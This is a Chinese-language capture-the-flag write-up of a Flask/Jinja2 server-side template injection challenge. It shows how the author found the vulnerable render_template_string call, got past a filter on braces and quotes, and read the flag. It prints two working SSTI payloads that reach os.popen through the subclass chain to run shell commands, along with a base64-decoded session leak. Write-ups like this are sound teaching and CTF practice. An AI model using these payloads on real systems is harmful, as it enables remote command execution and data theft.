单纯的python ssti 已经是过去了,但是偶尔刷下还是有意思…
漏洞发现
进入页面,发现有一个输入接口:
按下F12查看源码:发现提示有/debug
路由。找到了源码提示:
1 | from flask import Flask, session, render_template, request, Response, render_template_string, g |
发现在rite_of_passage
函数的born2pwn
调用里存在ssti:
1 | report = render_template_string(acc_tmpl. |
render_template_string
的传参收到我们输入的name影响。
但是存在着两个问题:
1.无论输入什么都没用什么明显区别且有意义的回显。
2{ {
、'
、"
这几个符号被ban。
漏洞利用
但是无意中发现,开了报错页面
因此我们可以用include 和报错来回显我们输入内容。同时,用request.args
来传递参数来传递字符串来绕过引号。
构造payload:
1 | name={%25include%201.__class__.__base__.__subclasses__()[-6].__init__.__globals__.os.popen(request.args.xxx).read()|string%25}&xxx=cat%20f* |
、从而得到flag:
其他思路
在查看其他大佬的思路时发现他们是利用session.update
来更新session来回显。
session.update
方法可以根据我们传入的字典来重新生成session,用法:
1 | session.update(dict) |
于是构造payload:
1 | name={%print%20session.update({dict(a=1)|list|last:1.__class__.__base__.__subclasses__()[-6].__init__.__globals__.os.popen(request.args.xxx).read()})%}&xxx=cat%20fA* |
解base64后得到flag
1 | lexs@DESKTOP-MAKMNL3:~$ echo eyJhIjp7IiBiIjoiU0ZSQ2UySTBZbmxmYm1sdWFqUnpYMlF3Ym5SZlp6TjBYM0YxTUhRelpGOHdjbDlqTkhWbmFGUjl |
参考文献
https://www.zapstiko.com/baby-ninja-jinja-challenge-htb-by-raihan-biswas/